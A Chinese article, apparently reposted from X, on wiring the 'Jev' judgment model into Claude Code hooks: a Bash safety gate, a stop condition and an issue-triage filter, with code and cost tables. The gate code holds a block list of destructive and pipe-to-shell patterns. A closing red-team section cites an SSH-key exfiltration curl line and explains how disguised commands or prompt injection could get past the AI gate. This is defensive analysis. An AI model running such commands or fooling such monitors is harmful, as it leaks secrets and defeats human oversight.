导语:让 Claude Code 跑一个通宵,第二天看日志。会发现一夜之间它问了自己 600 个 yes-or-no 问题,每个问题都比写代码还贵。TypeSafe AI(一家脱胎于 InstructGPT 联合创始人 Diogo Almeida 之手的初创公司)刚发布了一个叫 Jev 的模型,专门干”判断”这一件事 —— 不会写一句完整的话,只读你的状态、回答带类型的问题、每条都带概率。把这个模型挂到 Claude Code 的三个钩子上,月费能从 $765 砍到 $3。
一、问题:钱花在了判断上,不是构建上
夜里把一个 Claude Code 循环放开跑,第二天读日志,会发现一件事:每轮开始都有一个很小的提问 —— 这条命令安全吗、下一步该改哪个文件、刚才那次测试输出到底什么意思、目标达成了吗还是继续跑。所有这些判断题,都扔给了同一个写代码的模型。
问题在于,写代码的模型不该用来回答这种 yes-or-no。在 Fable 5.1 这样的通用大模型上跑一次 4000 token 状态的判断,大约 4 美分一次,再加几秒钟。一个忙碌的循环一晚上会问 600 次左右。算下来花在”判断”上的钱比花在”写代码”上还多。

9 月 15 日,TypeSafe AI 推出了 Jev —— 一个只会做判断的模型。它写不出一句完整的话,只读你的状态、回答带类型的问题、每条回答都带一个概率,绝大多数调用 100 毫秒左右就能返回。输入 $0.042 / 百万 token,输出免费。把它放在 Claude 旁边分工就很清楚:Claude 构建,Jev 判断。把循环里所有判断调用全部迁到 Jev 上,这套打法现在有个名字,叫 jev engineering(杰夫工程学)。它直接挂进 Claude Code 已经有的钩子里就能用。
二、Jev:一个只会回答问题的模型
Jev 的作者是 Diogo Almeida,InstructGPT 的联合作者 —— 那篇把 GPT-3 教成”听得懂指令”的论文,后来成了 ChatGPT 的底子。TypeSafe 走出隐身模式时带着一轮 4000 万美元种子轮,DCVC 领投。
Jev 的接口设计是带类型的:
- 输入:state(文本或 JSON),加上一组带类型的问题
- 输出:Choice(最多 255 个选项)、Score(2 到 10 级打分)或 Noul(yes 的概率),每条都附带完整分布
- 速度:端到端 70 到 500 毫秒,绝大多数 100 毫秒
- 成本:输入 $0.042 / 百万 token,输出免费
- 容量:每次调用 64K token
用在循环里最关键的特性是 calibration(校准度)。TypeSafe 用 RLCD(reinforcement learning for calibrated decisions,针对校准度做强化学习)训练 Jev,让概率和现实对齐。Jev 说 0.9,在你的数据上大约十次里九次对。人类评分训出来的对话模型容易”装作很确定”,一个校准过的数字,是凌晨三点没人看着的时候代码能放心拿来用的那种东西。
TypeSafe 自己的工作流评测上,Jev 比 GPT-6 Astra 和 Fable 5.1 的平均快 193.6 倍,便宜 444.6 倍。TypeSafe 自己说这是上限值。打个一折,任何跑通宵的循环算账方式都不一样。
三、三个钩子实战
Claude Code 团队自己写的循环指南把每个循环拆成两个问题:什么时候开始跑,什么时候停。这两个之间夹着一个”对工作做检查”。三处都是判断,默认配置下 Claude 自己答所有这三处。
下表把五种循环的判断位都列出来了 —— 右边那一列就是 Jev 该上场的地方:
| 循环类型 | Claude Code 里的跑法 | 里面的判断 | 对应 Jev 问题 |
|---|---|---|---|
| Turn-based | 你给 prompt,Claude 对照 SKILL.md 自己检查 | 这一步够不够好可以交回 | 按你的评分标准打分 |
| Goal-based | /goal "全测试绿,最多 5 轮" + 一个评估器 | 目标达成了吗 | Noul |
| Time-based | /loop 5m:检查 PR,修 CI 或云端 /schedule | 有没有需要 Claude 处理的变化 | Choice |
| Proactive | 日常拉活、修活、reviewer 复审 | 哪一项、风险多大、放行还是压住 | Choice + Noul |
| Every loop | 任何工具调用 | 这条命令能跑吗 | Choice |
Jev engineering 的核心动作就是把右边那一列从 Claude 里抽出去。Claude 保留所有需要”写”的工作 —— 代码、规划、解释。每个开始、停止、闸门都变成一次类型化调用,十分之一秒返回。下面三个 build 覆盖最烧钱的三种判断:安全闸门、停止条件、触发器。
3.1 100 毫秒安全闸门:每个 Bash 命令都先过一道
Claude Code 在每次工具调用之前都会跑一次 PreToolUse 钩子,钩子从 stdin 拿到的就是 JSON 形式的工具调用,返回 allow / deny / ask。把 Jev 塞进去,每条命令跑之前都会被分类。
#!/usr/bin/env python3
# .claude/hooks/jev_gate.py
import json, sys
from typesafe_sdk import Choice, TypeSafeClient
event = json.load(sys.stdin)
cmd = event["tool_input"].get("command", "")
def answer(decision, why):
print(json.dumps({"hookSpecificOutput": {
"hookEventName": "PreToolUse",
"permissionDecision": decision,
"permissionDecisionReason": why}}))
sys.exit(0)
# 硬规则跑在 Jev 前面 —— Jev 不该看到这些
for pattern in ("rm -rf /", "git push --force", "| sh", "| bash"):
if pattern in cmd:
answer("deny", f"blocked by rule: {pattern}")
r = TypeSafeClient(model="jev-1.13.0").system_one(
state={"command": cmd, "cwd": event.get("cwd")},
questions={"risk": Choice(
instructions="What happens if `command` runs inside `cwd`?",
criteria={
"read_only": "Only reads, lists, searches files or runs tests",
"local_edit": "Changes files inside the project that git can restore",
"destructive": "Deletes data, rewrites git history or touches files outside the project",
"external": "Sends data out, pushes, deploys, installs from the internet or spends money",
"other": "None of the above fits",
},
)},
)
a = r.answers["risk"]
if a.choice in ("read_only", "local_edit") and a.confidence >= 0.9:
answer("allow", f"jev: {a.choice} {a.confidence:.2f}")
if a.choice == "destructive" and a.confidence >= 0.9:
answer("deny", f"jev: destructive {a.confidence:.2f}")
answer("ask", f"jev: {a.choice} {a.confidence:.2f}")
钩子挂进 settings.json 就行:
{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash",
"hooks": [{ "type": "command", "command": "python3 .claude/hooks/jev_gate.py" }] }
]
}
}
三个细节让它跑通宵也安全。硬规则跑在 Jev 前面,因为 Jev 信的是 state 里的文本,一句命令完全可以写出来诱导分类器。任何 external 动作不管置信度多高都得落到你手上。other 永远不会被自动放行。
通宵 300 次 Bash 调用、每次 500 token 左右就是 150K token,Jev 跑一晚成本 $0.0063。LangChain 用户直接用现成的:langchain-typesafe 的 AutoModeMiddleware 在每个工具调用执行前都做一次风险检查。
3.2 停止钩:判断工作真的做完了
Goal-based 循环的生死就在停止条件上。循环指南里专门警告过:代理给自己打分倾向于给自己点赞。Claude 说”做完了”,测试也过了,但 README 里描述的还是上星期的 flag。
Claude Code 在 Claude 每次想停的时候跑一次 Stop 钩子。钩子返回 block 加理由,Claude 就继续干。精确的部分交给代码,测试看不到的部分交给 Jev 判。
#!/usr/bin/env python3
# .claude/hooks/jev_done.py - runs every time Claude tries to stop
import json, subprocess, sys
from pathlib import Path
from typesafe_sdk import Noul, TypeSafeClient
counter = Path(".claude/.pushes")
pushes = int(counter.read_text()) if counter.exists() else 0
def let_stop():
counter.unlink(missing_ok=True)
sys.exit(0)
def keep_going(reason):
counter.write_text(str(pushes + 1))
print(json.dumps({"decision": "block", "reason": reason}))
sys.exit(0)
if pushes >= 5: # turn cap 写在代码里
let_stop()
checks = subprocess.run(["bash", ".claude/checks.sh"], capture_output=True, text=True)
if checks.returncode != 0: # 测试挂了不需要模型
keep_going("checks.sh fails. Fix the failing checks, then try to finish again.")
r = TypeSafeClient(model="jev-1.13.0").system_one(
state={"goal": Path("GOAL.md").read_text(), "checks": checks.stdout[-20_000:]},
questions={"done": Noul(
instructions="Does `checks` show evidence for every condition listed in `goal`?")},
)
done = r.answers["done"].noul
if done >= 0.9:
let_stop()
if done >= 0.5: # 不确定:放行但标黄
Path("REVIEW.md").write_text(f"jev put done at {done:.2f}nn{checks.stdout[-3000:]}")
let_stop()
keep_going(f"Goal not met (jev: {done:.2f}). Compare GOAL.md with the output "
"of .claude/checks.sh and finish the missing conditions.")
checks.sh 是你打证据的地方 —— 测试结果、TODO 标记的 grep、README 的 diff、lighthouse 分数。证据越厚,Jev 判得越准,而且 Jev 永远只看到脚本打印出来的东西。每次检查成本几分钱的一小部分,返回速度比 Claude 眨眼还快。循环在工作真正完成时自动停 —— goal-based 循环本来要的就是这个。
3.3 分诊过滤器:只叫醒 Claude 处理真活
/loop 15m 跑 issue 分诊能用,但每一次 tick 都是一次完整的 Claude 回合,哪怕那次啥都没发生。把 Jev 放到 cron 前面,Claude 只在真正需要写代码时才启动。
#!/usr/bin/env python3
# triage.py - cron: */10 * * * *
import json, subprocess
from typesafe_sdk import Choice, TypeSafeClient
jev = TypeSafeClient(model="jev-1.13.0")
gh = lambda *a: subprocess.run(["gh", *a], capture_output=True, text=True).stdout
KINDS = {
"code_fix": "A reproducible bug with steps, an error message or a failing case",
"question": "The author asks how to use something that already works",
"junk": "Repeats a known issue, advertises something or has no real content",
"feature": "Asks for new behavior",
"other": "None of the above fits",
}
for it in json.loads(gh("issue", "list", "--label", "new", "--json", "number,title,body", "--limit", "30")):
a = jev.system_one(state={"issue": it}, questions={"kind": Choice(
instructions="What does `issue` need from the maintainers?", criteria=KINDS)}).answers["kind"]
label = a.choice if a.confidence >= 0.9 and a.choice != "other" else "needs-human"
gh("issue", "edit", str(it["number"]), "--remove-label", "new", "--add-label", label)
if label == "code_fix":
subprocess.run(["claude", "-p", "--permission-mode", "acceptEdits",
f"Fix issue #{it['number']}. Reproduce it, add a failing test, "
"make it pass and open a draft PR."])
三十个 issue 跑 Jev 不超过一毛钱。问题和垃圾帖打标签,feature 等你,Claude 的回合只花在能复现的 bug 上。第一个 build 里的安全闸门在 Claude 打开的每个 session 里照样跑。这是循环工程思路再往前一步 —— 触发器决定什么时候跑,这里 Jev 就是触发器。最便宜的 Claude 回合,是那个根本不需要开始的回合。
四、账单对比:从 $765 到 $3
一个通宵循环,200 个回合,每回合三个判断 —— 安全吗、下一步呢、做完没。600 次判断,每次约 4000 token 的 state,输出 50 token。标价,30 个通宵:
| 谁来判断 | 每晚 | 每月 | 等判断要等多久 |
|---|---|---|---|
| Fable 5.1($10 / $50 每百万 token) | $25.50 | $765 | 约 52 分钟,每次 5.2 秒 |
| Sonnet 5($3 / $15 每百万 token) | $7.65 | $229.50 | 每次秒级 |
| Jev($0.042 每百万 token,输出免费) | $0.10 | $3.02 | 约 2.5 分钟,每次 0.25 秒 |
把三个问题合并成一调用,state 只发一次,Jev 每月能压到 $1.08 左右。Fable 5.1 即使缓存读取按四分之一价算也接近 $225,仍然是 Jev 账单的 75 倍。Claude 花在”构建”上的那部分不变,上面这些全是 Jev 替它干掉的判断开销。

Max 套餐下,差别体现在使用上限而不是美元数字上 —— Claude 以前花在判断上的回合,现在回到了真正的活上。
五、七条 Jev 工程规则
- 含义在 instructions 里,不在 key 里。问题 ID 永远不发给模型,一个叫
is_safe的 key 对 Jev 来说啥都没说。 - 一次判断对应一个问题。”这条命令又破坏性又跑在仓库外吗”其实是两个问题。分开问,再用代码组合结果。
- 描述场景,不描述感受。”删数据或改 git 历史”能核对。”非常危险”不能核对,光给个数字当级别更糟。
- 每个 Choice 都留个出口。
other兜住那些套不上的,保持不确定性不被掩盖。 - 一次调用问完所有问题。同一次请求里的问题共享 state。TypeSafe 的测试里,13 个问题对同一文档问,13 次合并调用比 13 次独立调用便宜 12.2 倍、快 10 倍。
- 算术、日期、硬规则留在代码里。Jev 把日期当文本读,规模化时算不准。代码里算好,把结果传进去。
- 钉死版本,先影子后切换。用
jev-1.13.0,别用jev-latest,阈值调好之后才能换。跑一周让 Jev 打标签、旧路径做决定,再切到匹配过的置信区间。
六、已经有人这么干了
- 会话压缩。tamara 的 instant compaction 让 Jev 选哪些工具调用还留着相关。Alex Volkov 测试里,一个 Claude session 从将近 1M token 压到 86K 用了大约一秒。长 Claude Code session 先抄这个 build。
- 桌面 agent 步进。awlevin 让 Jev 选每一步的桌面动作,每次判断 $0.0002,对比 Opus 5 的 $0.032,耗时 0.13 到 0.38 秒 对比 5.2 秒。
- 浏览器代理。Browser Use 的
jev-ultrafast每步从一份新清单里挑下一个动作和元素。苏黎世到伦敦找机票 7.1 秒搞定,$0.0039。 - 大批量分拣。1kpapers.com 把 1018 篇论文分到 24 个主题,花了 $0.08,中位 256 毫秒。Riley Brown 用它筛了 500 封邮件,3.5 美分。
- 交易。Jarrod Watts 的
jev-trader每区块做一次决策,模型延迟约 81 毫秒。
每个 build 都一个套路:每一步从实时状态重建选项清单,Jev 挑一个,代码或更大的模型去做接下来的事。
七、红队点评
这套架构本质上是给 Claude Code 装了一个 AI 守门人。从防御者角度看,几个细节值得称赞:
第二,other 永远不被自动放行。这条规则让”分类器没想到的场景”必须落到人手上,等于强制留了一条升级通道。
第三,硬上限写在代码里。.claude/.pushes 计数器记录已经 push 了几次,超过 5 次强制 let_stop。这种计数器防的是循环自己跟自己聊到天荒地老 —— 模型判断”没做完”但其实已经做完了,或者反过来,明明做完了非说没做完,计数器把这种 loop 框死在有限步数里。
但从攻击者视角看,这套架构并不是铁板一块:
第一,置信度阈值 0.9 是可调的。调低一点省钱但放行率上升。攻击者只要找到一个看起来像 local_edit 但其实是 exfil 的命令写法,就能穿过 0.9 阈值。curl -d @~/.ssh/id_rsa ... 这种命令从字面看是 local_edit(往文件里写),实际把数据泄出去了。
第二,state 文本是污染面。Jev 看到的是 command 和 cwd,这两个字段是 Claude 自己填进 PreToolUse 钩子的。如果 Claude 自己的 prompt 被污染(比如读了一个恶意的 README、跑了一个有问题的 git clone),它填进 tool_input 的字段就能反过来诱导 Jev。
第三,external 永远 escalate 到人这条看上去是好的,但攻击者完全可以把 exfil 命令伪装成 local_edit 或 read_only。other 桶只兜住”完全不像现有 5 类的命令”,可没兜住”看起来像 local_edit 但其实是 external 的命令”。
总结一句:Jev engineering 给 Claude Code 加了一根很有用的安全带,但它防的是”Claude 写代码写到嗨了乱跑命令”,防不了”Claude 已经被 prompt injection 污染”。要彻底,还得在 state 输入端做硬过滤 —— 这又回到了经典的红队问题:信任边界划在哪一层。
原文出处:polydao on X
参考链接:














暂无评论内容